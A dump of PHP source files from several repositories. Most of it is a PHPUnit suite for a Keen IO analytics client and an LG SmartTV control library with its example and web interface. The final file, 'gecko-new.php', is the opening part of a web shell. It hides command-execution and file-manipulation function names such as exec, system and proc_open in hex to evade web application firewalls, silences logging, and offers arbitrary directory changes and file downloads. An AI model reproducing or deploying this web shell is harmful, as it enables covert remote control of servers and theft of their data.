use GuzzleHttp\Psr7\Response;
use GuzzleHttp\Command\Guzzle\GuzzleClient;
use PHPUnit\Framework\TestCase;
use Yoast\PHPUnitPolyfills\Polyfills\AssertIsType;
use Yoast\PHPUnitPolyfills\Polyfills\ExpectException;
class KeenIOClientTest extends TestCase
{
use AssertIsType;
use ExpectException;
/**
* Check that a Keen IO Client is instantiated properly
*/
public function testFactoryReturnsClient()
{
$config = array(
'projectId' => 'testProjectId',
'masterKey' => 'testMasterKey',
'readKey' => 'testReadKey',
'writeKey' => 'testWriteKey',
'version' => '3.0'
);
$client = KeenIOClient::factory($config);
//Check that the Client is of the right type
$this->assertInstanceOf(GuzzleClient::class, $client);
$this->assertInstanceOf(KeenIOClient::class, $client);
//Check that the pass config options match the client's config
$this->assertEquals($config['projectId'], $client->getConfig('projectId'));
$this->assertEquals($config['masterKey'], $client->getConfig('masterKey'));
$this->assertEquals($config['readKey'], $client->getConfig('readKey'));
$this->assertEquals($config['writeKey'], $client->getConfig('writeKey'));
$this->assertEquals($config['version'], $client->getConfig('version'));
}
/**
* Check that a Keen IO Client is instantiated properly when version empty
*/
public function testFactoryReturnsClientWhenVersionEmpty()
{
$defaultVersion = '3.0';
$config = array(
'projectId' => 'testProjectId',
'masterKey' => 'testMasterKey',
'readKey' => 'testReadKey',
'writeKey' => 'testWriteKey',
'version' => ''
);
$client = KeenIOClient::factory($config);
//Check that the Client is of the right type
$this->assertInstanceOf(GuzzleClient::class, $client);
$this->assertInstanceOf(KeenIOClient::class, $client);
//Check that the pass config options match the client's config
$this->assertEquals($config['projectId'], $client->getConfig('projectId'));
$this->assertEquals($config['masterKey'], $client->getConfig('masterKey'));
$this->assertEquals($config['readKey'], $client->getConfig('readKey'));
$this->assertEquals($config['writeKey'], $client->getConfig('writeKey'));
$this->assertEquals($defaultVersion, $client->getConfig('version'));
}
/**
* Tests that the magic __call correctly merges in the event_collection parameter
*/
public function testEventCollectionMerging()
{
$unmerged = array('collection', array('timeframe' => 'this_14_days'));
$merged = array(array('event_collection' => 'collection', 'timeframe' => 'this_14_days'));
$client = $this->getClient();
$unmergedAfter = $this->invokeMethod($client, 'combineEventCollectionArgs', array($unmerged));
$mergedAfter = $this->invokeMethod($client, 'combineEventCollectionArgs', array($merged));
$this->assertEquals($unmergedAfter['event_collection'], 'collection');
$this->assertEquals($unmergedAfter['timeframe'], 'this_14_days');
$this->assertEquals($mergedAfter['event_collection'], 'collection');
$this->assertEquals($mergedAfter['timeframe'], 'this_14_days');
}
/**
* Tests the client setter method and that the value returned is correct
*/
public function testProjectIdSetter()
{
$client = $this->getClient();
$client->setProjectId('testProjectId');
$this->assertEquals('testProjectId', $client->getConfig('projectId'));
}
/**
* Tests the client setter method and that the value returned is correct
*/
public function testReadKeySetter()
{
$client = $this->getClient();
$client->setReadKey('testReadKey');
$this->assertEquals('testReadKey', $client->getConfig('readKey'));
}
/**
* Tests the client setter method and that the value returned is correct
*/
public function testMasterKeySetter()
{
$client = $this->getClient();
$client->setMasterKey('testMasterKey');
$this->assertEquals('testMasterKey', $client->getConfig('masterKey'));
}
/**
* Tests the client setter method and that the value returned is correct
*/
public function testVersionSetter()
{
$client = $this->getClient();
$client->setVersion('3.0');
$this->assertEquals('3.0', $client->getConfig('version'));
}
/**
* Tests that the client is able to fallback to the masterkey when
* a write key isn't given
*/
public function testWriteKeyPicker()
{
$client = $this->getClient();
$client->setWriteKey('bar');
$client->setMasterKey('foo');
$this->assertNotEquals(
$client->getMasterKey(),
$client->getKeyForWriting()
);
$client->setWriteKey('');
$this->assertEquals(
$client->getMasterKey(),
$client->getKeyForWriting()
);
}
/**
* Tests that the client is able to fallback to the masterkey when
* a read key isn't given
*/
public function testReadKeyPicker()
{
$client = $this->getClient();
$client->setReadKey('bar');
$client->setMasterKey('foo');
$this->assertNotEquals(
$client->getMasterKey(),
$client->getKeyForReading()
);
$client->setReadKey('');
$this->assertEquals(
$client->getMasterKey(),
$client->getKeyForReading()
);
}
/**
* Tests the creation of a Scoped Key
*/
public function testCreateLegacyScopedKey()
{
$client = KeenIOClient::factory(array(
'masterKey' => 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
));
$filter = array('property_name' => 'id', 'operator' => 'eq', 'property_value' => '123');
$filters = array($filter);
$allowed_operations = array('read');
$scopedKey = $client->createScopedKey($filters, $allowed_operations);
$result = $client->decryptScopedKey($scopedKey);
$expected = array('filters' => $filters, 'allowed_operations' => $allowed_operations);
$this->assertEquals($expected, $result);
}
/**
* Tests the decryption of a Scoped Key
*/
public function testDecryptLegacyScopedKey()
{
$client = KeenIOClient::factory(array(
'masterKey' => 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
));
$filter = array('property_name' => 'id', 'operator' => 'eq', 'property_value' => '123');
$filters = array($filter);
$allowed_operations = array('read');
// @codingStandardsIgnoreLine - It is not possible to get this below 120 characters
$result = $client->decryptScopedKey('696a2c05b060e6ed344f7e570c101e0909ff97c338dfe0f1e15c0e5c1ec0621dfcd5577f3ae58596558eed2a43c82d3a062fbf6455810f5c859695c766caddd283398e577b24db014fad896a6f0447a2aad9dad43cef5fa040e8f6d366085423804633ef3b21535b31d11eec24631f83c18e83703247f40136aeba779a840e80013e0969a8cf203295f47da1d70bfeb3');
$expected = array('filters' => $filters, 'allowed_operations' => $allowed_operations);
$this->assertEquals($expected, $result);
}
/**
* Tests the creation of a Scoped Key
*/
public function testCreateScopedKey()
{
$client = KeenIOClient::factory(array(
'masterKey' => 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
));
$filter = array('property_name' => 'id', 'operator' => 'eq', 'property_value' => '123');
$filters = array($filter);
$allowed_operations = array('read');
$scopedKey = $client->createScopedKey($filters, $allowed_operations);
$result = $client->decryptScopedKey($scopedKey);
$expected = array('filters' => $filters, 'allowed_operations' => $allowed_operations);
$this->assertEquals($expected, $result);
}
/**
* Tests the decryption of a Scoped Key
*/
public function testDecryptScopedKey()
{
$client = KeenIOClient::factory(array(
'masterKey' => 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
));
$filter = array('property_name' => 'id', 'operator' => 'eq', 'property_value' => '123');
$filters = array($filter);
$allowed_operations = array('read');
// @codingStandardsIgnoreLine - It is not possible to get this below 120 characters
$result = $client->decryptScopedKey('903441674b0d433ddab759bba82502ec469e00d25c373e35c4d685488bc7779a5abd7d90a03a4cb744ee6a82fa8935804348a5b2351f6527cd5fd6a0613cea5ec4e848f5093e41a53d570cf01066b1f3c3e9b03d4ce0929ff3e6a06e1850fb9e09b65415ac754bbefe9db4b1fcba7d71a9f5f9d9c05cbeffb2a33ef5f4bac131');
$expected = array('filters' => $filters, 'allowed_operations' => $allowed_operations);
$this->assertEquals($expected, $result);
}
/**
* @dataProvider providerServiceCommands
*/
public function testServiceCommands($method, $params)
{
$queue = new MockHandler([
new Response(200, ['Content-Type' => 'application/json'], '{"response": true}')
]);
$handler = HandlerStack::create($queue);
$client = $this->getClient($handler);
$command = $client->getCommand($method, $params);
$result = $client->execute($command);
$request = $queue->getLastRequest();
//Resource Url
$url = parse_url($request->getUri());
$body = json_decode($request->getBody()->getContents(), true);
//Camel to underscore case
$method = strtolower(preg_replace('/([a-z])([A-Z])/', '$1_$2', $method));
//Make sure the projectId is set properly in the url
$this->assertContains($client->getProjectId(), explode('/', $url['path']));
$this->assertEquals($client->getKeyForReading(), $request->getHeader('Authorization')[0]);
//Make sure the version is set properly in the url
$this->assertContains($client->getVersion(), explode('/', $url['path']));
//Make sure the url has the right method
$this->assertContains($method, explode('/', $url['path']));
//Check that the json body has all of the parameters
$this->assertEquals(count($params), count($body));
foreach ($params as $param => $value) {
$this->assertEquals($value, $body[$param]);
}
// Make sure that the response is a PHP array, according to the documented return type
$this->assertIsArray($result);
}
/**
* Data for service calls
*/
public function providerServiceCommands()
{
return array(
array('count', array('event_collection' => 'test', 'timeframe' => 'this_week')),
array(
'countUnique',
array('event_collection' => 'test', 'target_property' => 'foo', 'timeframe' => 'this_week')
),
array(
'minimum',
array('event_collection' => 'test', 'target_property' => 'foo', 'timeframe' => 'this_week')
),
array(
'maximum',
array('event_collection' => 'test', 'target_property' => 'foo', 'timeframe' => 'this_week')
),
array(
'average',
array('event_collection' => 'test', 'target_property' => 'foo', 'timeframe' => 'this_week')
),
array('sum', array('event_collection' => 'test', 'target_property' => 'foo', 'timeframe' => 'this_week')),
array(
'selectUnique',
array('event_collection' => 'test', 'target_property' => 'foo', 'timeframe' => 'this_week')
),
array('extraction', array('event_collection' => 'test', 'timeframe' => 'this_week', 'latest' => 10))
);
}
/**
* @dataProvider providerServiceCommands
*/
public function testServiceCommandsReturnExceptionOnInvalidAuth($method, $params)
{
$client = $this->getClient(HandlerStack::create(new MockHandler([
new Response(401)
])));
$command = $client->getCommand($method, $params);
$this->expectException(CommandClientException::class);
$client->execute($command);
}
/**
* @dataProvider providerServiceCommands
*/
public function testServiceCommandsReturnExceptionOnInvalidProjectId($method, $params)
{
$client = $this->getClient(HandlerStack::create(new MockHandler([
new Response(404)
])));
$command = $client->getCommand($method, $params);
$this->expectException(CommandClientException::class);
$client->execute($command);
}
/**
* Uses mock response to test addEvent service method. Also checks that event data
* is properly json_encoded in the request body.
*/
public function testSendEventMethod()
{
$queue = new MockHandler([
new Response(200, [], '{"created": true}')
]);
$client = $this->getClient(HandlerStack::create($queue));
$event = array('foo' => 'bar', 'baz' => 1);
$response = $client->addEvent('test', $event);
$request = $queue->getLastRequest();
//Resource Url
$url = parse_url($request->getUri());
$expectedResponse = array('created' => true);
//Make sure the projectId is set properly in the url
$this->assertContains($client->getProjectId(), explode('/', $url['path']));
//Make sure the version is set properly in the url
$this->assertContains($client->getVersion(), explode('/', $url['path']));
$this->assertEquals($client->getKeyForWriting(), $request->getHeader('Authorization')[0]);
//Checks that the response is good - based off mock response
$this->assertJsonStringEqualsJsonString(json_encode($expectedResponse), json_encode($response));
//Checks that the event is properly encoded in the request body
$this->assertJsonStringEqualsJsonString(json_encode($event), (string)$request->getBody());
}
/**
* Uses mock response to test addEvents service method. Also checks that event data
* is properly json_encoded in the request body.
*/
public function testSendEventsMethod()
{
$events = array('test' => array(array('foo' => 'bar'), array('bar' => 'baz')));
$queue = new MockHandler([
new Response(200, [], '{"test":[{"success":true}, {"success":true}]}')
]);
$client = $this->getClient(HandlerStack::create($queue));
$response = $client->addEvents($events);
//Resource Url
$request = $queue->getLastRequest();
$url = parse_url($request->getUri());
$expectedResponse = array('test' => array(array('success' => true), array('success' => true)));
//Make sure the projectId is set properly in the url
$this->assertContains($client->getProjectId(), explode('/', $url['path']));
//Make sure the version is set properly in the url
$this->assertContains($client->getVersion(), explode('/', $url['path']));
$this->assertEquals($client->getKeyForWriting(), $request->getHeader('Authorization')[0]);
//Checks that the response is good - based off mock response
$this->assertJsonStringEqualsJsonString(json_encode($expectedResponse), json_encode($response));
//Checks that the event is properly encoded in the request body
$this->assertJsonStringEqualsJsonString(json_encode($events), (string)$request->getBody());
}
protected function getClient($handler = null)
{
return \KeenIO\Client\KeenIOClient::factory(array(
'projectId' => $_SERVER['PROJECT_ID'],
'masterKey' => $_SERVER['MASTER_KEY'],
'writeKey' => $_SERVER['WRITE_KEY'],
'readKey' => $_SERVER['READ_KEY'],
'version' => $_SERVER['API_VERSION'],
'handler' => $handler
));
}
/**
* Call protected/private method of a class.
*
* @param object &$object Instantiated object that we will run method on.
* @param string $methodName Method name to call
* @param array $parameters Array of parameters to pass into method.
*
* @return mixed Method return.
*/
protected function invokeMethod(&$object, $methodName, array $parameters = array())
{
$reflection = new \ReflectionClass(get_class($object));
$method = $reflection->getMethod($methodName);
$method->setAccessible(true);
return $method->invokeArgs($object, $parameters);
}
}
| php | MIT | 755f7c145091108ceb9d515f8fcde7a5ec367386 | 2026-01-05T05:13:53.479380Z | false |
StefanNemeth/PHP-LG-SmartTV | https://github.com/StefanNemeth/PHP-LG-SmartTV/blob/6639400475cff6168b7c06d5c1a10d95eaf96680/example.php | example.php | <?php
/**
* ----------------------------------------
* Example - PHP LG SmartTV API
* ----------------------------------------
* https://github.com/SteveWinfield/PHP-LG-SmartTV
**/
include 'smartTV.php';
/**
* Create instance of TV
* @param IP Address of TV
* (optional) @param Port of TV (default is 8080)
**/
$tv = new SmartTV('192.168.2.103'); // new SmartTV('192.168.2.103', 8080)
/**
* Set pairing key (if you don't know the pairing key
* execute the method ..->displayPairingKey() and it will
* be shown on your tv)
* @param Key
**/
$tv->setPairingKey(678887); // $tv->displayPairingKey();
/**
* Authenticate to the tv
* @except Login fails (wrong pairing key?)
**/
try {
$tv->authenticate();
} catch (Exception $e) {
die('Authentication failed, I am sorry.');
}
/**
* Set your volume up.
**/
$tv->processCommand(TV_CMD_VOLUME_UP);
/**
* Set your volume down
**/
$tv->processCommand(TV_CMD_VOLUME_DOWN);
/**
* Move your mouse
**/
$tv->processCommand(TV_CMD_MOUSE_MOVE, [ 'x' => 20, 'y' => 20 ]);
/**
* Trigger a mouse click
**/
$tv->processCommand(TV_CMD_MOUSE_CLICK);
/**
* Get current volume
**/
echo $tv->queryData(TV_INFO_VOLUME)->level;
/**
* Get current channel name
**/
echo $tv->queryData(TV_INFO_CURRENT_CHANNEL)->chname;
/**
* Save a screenshot
**/
file_put_contents('screen.jpeg', $tv->queryData(TV_INFO_SCREEN));
/**
* Change channel (Channel VIVA)
**/
// Get channel list
$channels = $tv->queryData(TV_INFO_CHANNEL_LIST);
// Channel name
$channelName = 'VIVA';
// Search for channel $channelName
foreach ($channels as $channel) {
if ($channel->chname == $channelName) {
// Change channel
$tv->processCommand(TV_CMD_CHANGE_CHANNEL, $channel);
break;
}
} | php | Apache-2.0 | 6639400475cff6168b7c06d5c1a10d95eaf96680 | 2026-01-05T05:14:16.406918Z | false |
StefanNemeth/PHP-LG-SmartTV | https://github.com/StefanNemeth/PHP-LG-SmartTV/blob/6639400475cff6168b7c06d5c1a10d95eaf96680/webInterface.php | webInterface.php | <?php
/**
* ----------------------------------------
* Practical - PHP LG SmartTV API
* ----------------------------------------
* https://github.com/SteveWinfield/PHP-LG-SmartTV
**/
session_start();
include 'smartTV.php';
/**
* Create instance of TV
* @param IP Address of TV
* (optional) @param Port of TV (default is 8080)
**/
$tv = new SmartTV('192.168.2.103'); // new SmartTV('192.168.2.103', 8080)
/**
* Check if session already created.
* If so.. don't request a new one.
**/
if (!isset($_SESSION['SESSION_ID'])) {
/**
* Set pairing key (if you don't know the pairing key
* execute the method ..->displayPairingKey() and it will
* be shown on your tv)
* @param Key
**/
$tv->setPairingKey(678887); // $tv->displayPairingKey();
/**
* Authenticate to the tv
* @except Login fails (wrong pairing key?)
**/
try {
$_SESSION['SESSION_ID'] = $tv->authenticate();
} catch (Exception $e) {
die('Authentication failed, I am sorry.');
}
} else {
$tv->setSession($_SESSION['SESSION_ID']);
}
if (isset($_GET['cmd'])) {
switch($_GET['cmd']) {
case 'screen':
header('Content-Type: image/jpeg');
exit ($tv->queryData(TV_INFO_SCREEN));
break;
case 'changeChannel':
if (!isset($_GET['value'])) {
exit;
}
$channelName = strtolower($_GET['value']);
foreach ($_SESSION['CHANNEL_LIST'] as $channel) {
if (strtolower($channel['chname']) == $channelName) {
$tv->processCommand(TV_CMD_CHANGE_CHANNEL, $channel);
break;
}
}
break;
case 'info':
$currentChannel = $tv->queryData(TV_INFO_CURRENT_CHANNEL);
$text = 'You\'re watching <b>'.$currentChannel->progName.'</b> on <b>'.$currentChannel->chname.'</b>';
if (!isset($_SESSION['CURRENT_CHANNEL']) || strtolower($currentChannel->chname) != strtolower($_SESSION['CURRENT_CHANNEL'])) {
$text .= '___---___Change channel: <select id="programList">';
if (!isset($_SESSION['CHANNEL_LIST'])) {
$_SESSION['CHANNEL_LIST'] = array();
foreach ($tv->queryData(TV_INFO_CHANNEL_LIST) as $channel) {
$_SESSION['CHANNEL_LIST'][] = (array)$channel;
}
}
foreach ($_SESSION['CHANNEL_LIST'] as $channel) {
$text .= '<option value="'.$channel['chname'].'" '.(strtolower($channel['chname']) == strtolower($currentChannel->chname) ? 'selected' : '').'>'.$channel['chname'].'</option>';
}
$text .= '</select>';
$_SESSION['CURRENT_CHANNEL'] = (string)$currentChannel->chname;
}
exit ($text);
break;
case 'keyPress':
if (!isset($_GET['value'])) {
exit;
}
$codes = array(
'up' => TV_CMD_UP,
'down' => TV_CMD_DOWN,
'left' => TV_CMD_LEFT,
'right' => TV_CMD_RIGHT,
'enter' => TV_CMD_OK,
'esc' => TV_CMD_EXIT,
'backspace' => TV_CMD_BACK,
'h' => TV_CMD_HOME_MENU
);
$tv->processCommand($codes[$_GET['value']]);
break;
}
exit;
} else {
unset ($_SESSION['CURRENT_CHANNEL']);
}
?>
<!doctype html>
<html lang="de">
<head>
<title>SmartTV Test</title>
</head>
<body>
<p>Here you can control your TV with your arrow keys.</p>
<img src='index.php?cmd=screen&t=12345' id='liveImage' />
<p>
<p id="channelInfo"></p>
<p id="programInfo"></p>
</p>
<p>
<strong>ENTER</strong> - OK<br />
<strong>ESC</strong> - EXIT<br />
<strong>BACKSPACE</strong> - BACK<br />
<strong>H</strong> - HOME</br>
</p>
<!-- SCRIPTS !-->
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script>
$(document).ready(function() {
$(document).keydown(function (e) {
var keyCode = e.keyCode || e.which,
CHAR = {8 : 'backspace', 27 : 'esc', 13 : 'enter', 37 : 'left', 38 : 'up', 39 : 'right', 40 : 'down', 72 : 'h' };
if (CHAR[keyCode] !== "undefined") {
$.get("index.php?cmd=keyPress&value=" + CHAR[keyCode]);
e.preventDefault();
}
});
function refreshImage() {
$("#liveImage").attr("src", "index.php?cmd=screen&t="+(new Date()).getTime());
}
function refreshData() {
$.get("index.php?cmd=info", function (data) {
var lData = data.split("___---___");
$("#channelInfo").html(lData[0]);
if (lData.length > 1) {
$("#programInfo").html(lData[1]);
$("#programList").on('change', function() {
$.get("index.php?cmd=changeChannel&value=" + this.value);
});
}
});
}
refreshData();
refreshImage();
setInterval(refreshImage, 500);
setInterval(refreshData, 1000);
});
</script>
<!-- END !-->
</body>
</html> | php | Apache-2.0 | 6639400475cff6168b7c06d5c1a10d95eaf96680 | 2026-01-05T05:14:16.406918Z | false |
StefanNemeth/PHP-LG-SmartTV | https://github.com/StefanNemeth/PHP-LG-SmartTV/blob/6639400475cff6168b7c06d5c1a10d95eaf96680/smartTV.php | smartTV.php | <?php
/**
* ----------------------------------------
* @title PHP-LG-SmartTV
* @desc LG SmartTV API
* @author Steve Winfield
* @copyright 2014 $AUTHOR$
* @license see /LICENCE
* ----------------------------------------
* https://github.com/SteveWinfield/PHP-LG-SmartTV
**/
if (!extension_loaded('curl')) {
die ('You have to install/enable curl in order to use this application.');
}
/**
* Some constants
**/
define ('TV_CMD_POWER', 1);
define ('TV_CMD_NUMBER_0', 2);
define ('TV_CMD_NUMBER_1', 3);
define ('TV_CMD_NUMBER_2', 4);
define ('TV_CMD_NUMBER_3', 5);
define ('TV_CMD_NUMBER_4', 6);
define ('TV_CMD_NUMBER_5', 7);
define ('TV_CMD_NUMBER_6', 8);
define ('TV_CMD_NUMBER_7', 9);
define ('TV_CMD_NUMBER_8', 10);
define ('TV_CMD_NUMBER_9', 11);
define ('TV_CMD_UP', 12);
define ('TV_CMD_DOWN', 13);
define ('TV_CMD_LEFT', 14);
define ('TV_CMD_RIGHT', 15);
define ('TV_CMD_OK', 20);
define ('TV_CMD_HOME_MENU', 21);
define ('TV_CMD_BACK', 23);
define ('TV_CMD_VOLUME_UP', 24);
define ('TV_CMD_VOLUME_DOWN', 25);
define ('TV_CMD_MUTE_TOGGLE', 26);
define ('TV_CMD_CHANNEL_UP', 27);
define ('TV_CMD_CHANNEL_DOWN', 28);
define ('TV_CMD_BLUE', 29);
define ('TV_CMD_GREEN', 30);
define ('TV_CMD_RED', 31);
define ('TV_CMD_YELLOW', 32);
define ('TV_CMD_PLAY', 33);
define ('TV_CMD_PAUSE', 34);
define ('TV_CMD_STOP', 35);
define ('TV_CMD_FAST_FORWARD', 36);
define ('TV_CMD_REWIND', 37);
define ('TV_CMD_SKIP_FORWARD', 38);
define ('TV_CMD_SKIP_BACKWARD', 39);
define ('TV_CMD_RECORD', 40);
define ('TV_CMD_RECORDING_LIST', 41);
define ('TV_CMD_REPEAT', 42);
define ('TV_CMD_LIVE_TV', 43);
define ('TV_CMD_EPG', 44);
define ('TV_CMD_PROGRAM_INFORMATION', 45);
define ('TV_CMD_ASPECT_RATIO', 46);
define ('TV_CMD_EXTERNAL_INPUT', 47);
define ('TV_CMD_PIP_SECONDARY_VIDEO', 48);
define ('TV_CMD_SHOW_SUBTITLE', 49);
define ('TV_CMD_PROGRAM_LIST', 50);
define ('TV_CMD_TELE_TEXT', 51);
define ('TV_CMD_MARK', 52);
define ('TV_CMD_3D_VIDEO', 400);
define ('TV_CMD_3D_LR', 401);
define ('TV_CMD_DASH', 402);
define ('TV_CMD_PREVIOUS_CHANNEL', 403);
define ('TV_CMD_FAVORITE_CHANNEL', 404);
define ('TV_CMD_QUICK_MENU', 405);
define ('TV_CMD_TEXT_OPTION', 406);
define ('TV_CMD_AUDIO_DESCRIPTION', 407);
define ('TV_CMD_ENERGY_SAVING', 409);
define ('TV_CMD_AV_MODE', 410);
define ('TV_CMD_SIMPLINK', 411);
define ('TV_CMD_EXIT', 412);
define ('TV_CMD_RESERVATION_PROGRAM_LIST', 413);
define ('TV_CMD_PIP_CHANNEL_UP', 414);
define ('TV_CMD_PIP_CHANNEL_DOWN', 415);
define ('TV_CMD_SWITCH_VIDEO', 416);
define ('TV_CMD_APPS', 417);
define ('TV_CMD_MOUSE_MOVE', 'HandleTouchMove');
define ('TV_CMD_MOUSE_CLICK', 'HandleTouchClick');
define ('TV_CMD_TOUCH_WHEEL', 'HandleTouchWheel');
define ('TV_CMD_CHANGE_CHANNEL', 'HandleChannelChange');
define ('TV_CMD_SCROLL_UP', 'up');
define ('TV_CMD_SCROLL_DOWN', 'down');
define ('TV_INFO_CURRENT_CHANNEL', 'cur_channel');
define ('TV_INFO_CHANNEL_LIST', 'channel_list');
define ('TV_INFO_CONTEXT_UI', 'context_ui');
define ('TV_INFO_VOLUME', 'volume_info');
define ('TV_INFO_SCREEN', 'screen_image');
define ('TV_INFO_3D', 'is_3d');
define ('TV_LAUNCH_APP', 'AppExecute');
class SmartTV {
public function __construct($ipAddress, $port = 8080) {
$this->connectionDetails = array($ipAddress, $port);
}
public function setPairingKey($pk) {
$this->pairingKey = $pk;
}
public function displayPairingKey() {
$this->sendXMLRequest('/roap/api/auth', self::encodeData(
array('type' => 'AuthKeyReq'), 'auth'
));
}
public function setSession($sess) {
$this->session = $sess;
}
public function authenticate() {
if ($this->pairingKey === null) {
throw new Exception('No pairing key given.');
}
$this->session = $this->sendXMLRequest('/roap/api/auth', self::encodeData(
array(
'type' => 'AuthReq',
'value' => $this->pairingKey
),
'auth'
));
if (!$this->session) {
throw new Exception('Authentication request failed.');
}
return $this->session['session'];
}
public function processCommand($commandName, $parameters = []) {
if ($this->session === null) {
throw new Exception('No session id given.');
}
if (is_numeric($commandName) && count($parameters) < 1) {
$parameters['value'] = $commandName;
$commandName = 'HandleKeyInput';
}
if (is_string($parameters) || is_numeric($parameters)) {
$parameters = array('value' => $parameters);
} elseif (is_object($parameters)) {
$parameters = (array)$parameters;
}
$parameters['name'] = $commandName;
return ($this->sendXMLRequest('/roap/api/command',
self::encodeData($parameters, 'command')
));
}
public function queryData($targetId) {
if ($this->session === null) {
throw new Exception('No session id given.');
}
$var = $this->sendXMLRequest('/roap/api/data?target='.$targetId);
return isset($var['data']) ? $var['data'] : $var;
}
private function sendXMLRequest($actionFile, $data = '') {
curl_setopt(($ch = curl_init()), CURLOPT_URL, $this->connectionDetails[0] . ':' . $this->connectionDetails[1] . $actionFile);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/atom+xml',
'Connection: Keep-Alive'
));
if (strlen($data) > 0) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
}
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$envar = curl_exec($ch);
$execute = (array)@simplexml_load_string($envar);
if (isset($execute['ROAPError']) && $execute['ROAPError'] != '200') {
throw new Exception('Error (' . $execute['ROAPError'] . '): ' . $execute['ROAPErrorDetail']);
}
return count($execute) < 2 ? $envar : $execute;
}
private static function encodeData($data, $actionType, $xml=null) {
if ($xml == null) {
$xml = simplexml_load_string("<!--?xml version=\"1.0\" encoding=\"utf-8\"?--><".$actionType." />");
}
foreach($data as $key => $value) {
if (is_array($value)) {
$node = $xml->addChild($key);
self::encodeData($value, $actionType, $node);
} else {
$xml->addChild($key, htmlentities($value));
}
}
return $xml->asXML();
}
private $connectionDetails;
private $pairingKey;
private $session;
}
| php | Apache-2.0 | 6639400475cff6168b7c06d5c1a10d95eaf96680 | 2026-01-05T05:14:16.406918Z | false |
MadExploits/Gecko | https://github.com/MadExploits/Gecko/blob/64d2888940b91b969b10458b11f927f9a3f59dbf/gecko-new.php | gecko-new.php | <?php
@set_time_limit(0);
@clearstatcache();
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
# function WAF
$Array = [
'676574637764', # ge tcw d => 0
'676c6f62', # gl ob => 1
'69735f646972', # is_d ir => 2
'69735f66696c65', # is_ file => 3
'69735f7772697461626c65', # is_wr iteable => 4
'69735f7265616461626c65', # is_re adble => 5
'66696c657065726d73', # fileper ms => 6
'66696c65', # f ile => 7
'7068705f756e616d65', # php_unam e => 8
'6765745f63757272656e745f75736572', # getc urrentuser => 9
'68746d6c7370656369616c6368617273', # html special => 10
'66696c655f6765745f636f6e74656e7473', # fil e_get_contents => 11
'6d6b646972', # mk dir => 12
'746f756368', # to uch => 13
'6368646972', # ch dir => 14
'72656e616d65', # ren ame => 15
'65786563', # exe c => 16
'7061737374687275', # pas sthru => 17
'73797374656d', # syst em => 18
'7368656c6c5f65786563', # sh ell_exec => 19
'706f70656e', # p open => 20
'70636c6f7365', # pcl ose => 21
'73747265616d5f6765745f636f6e74656e7473', # stre amgetcontents => 22
'70726f635f6f70656e', # p roc_open => 23
'756e6c696e6b', # un link => 24
'726d646972', # rmd ir => 25
'666f70656e', # fop en => 26
'66636c6f7365', # fcl ose => 27
'66696c655f7075745f636f6e74656e7473', # file_put_c ontents => 28
'6d6f76655f75706c6f616465645f66696c65', # move_up loaded_file => 29
'63686d6f64', # ch mod => 30
'7379735f6765745f74656d705f646972', # temp _dir => 31
'6261736536345F6465636F6465', # => bas e6 4 _decode => 32
'6261736536345F656E636F6465', # => ba se6 4_ encode => 33
];
$hitung_array = count($Array);
for ($i = 0; $i < $hitung_array; $i++) {
$fungsi[] = unx($Array[$i]);
}
if (isset($_GET['d'])) {
$cdir = unx($_GET['d']);
$fungsi[14]($cdir);
} else {
$cdir = $fungsi[0]();
}
function file_ext($file)
{
if (mime_content_type($file) == 'image/png' or mime_content_type($file) == 'image/jpeg') {
return '<i class="fa-regular fa-image" style="color:#09e3a5"></i>';
} else if (mime_content_type($file) == 'application/x-httpd-php' or mime_content_type($file) == 'text/html') {
return '<i class="fa-solid fa-file-code" style="color:#0985e3"></i>';
} else if (mime_content_type($file) == 'text/javascript') {
return '<i class="fa-brands fa-square-js"></i>';
} else if (mime_content_type($file) == 'application/zip' or mime_content_type($file) == 'application/x-7z-compressed') {
return '<i class="fa-solid fa-file-zipper" style="color:#e39a09"></i>';
} else if (mime_content_type($file) == 'text/plain') {
return '<i class="fa-solid fa-file" style="color:#edf7f5"></i>';
} else if (mime_content_type($file) == 'application/pdf') {
return '<i class="fa-regular fa-file-pdf" style="color:#ba2b0f"></i>';
} else {
return '<i class="fa-regular fa-file-code" style="color:#0985e3"></i>';
}
}
function download($file)
{
if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . basename($file));
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
ob_clean();
flush();
readfile($file);
exit;
}
}
if ($_GET['don'] == true) {
$FilesDon = download(unx($_GET['don']));
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<title>Gecko [ <?= $_SERVER['SERVER_NAME']; ?> ]</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/codemirror.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/theme/ayu-mirage.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.63.0/addon/hint/show-hint.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.6.0/css/all.min.css" integrity="sha512-Kc323vGBEqzTmouAECnVceyQqyqdsSiqLQISBL29aUW4U/M7pSPA/gEUZQqv1cwx4OnYxTxve5UMg5GT6L4JJg==" crossorigin="anonymous" referrerpolicy="no-referrer" />
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.1/jquery.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>
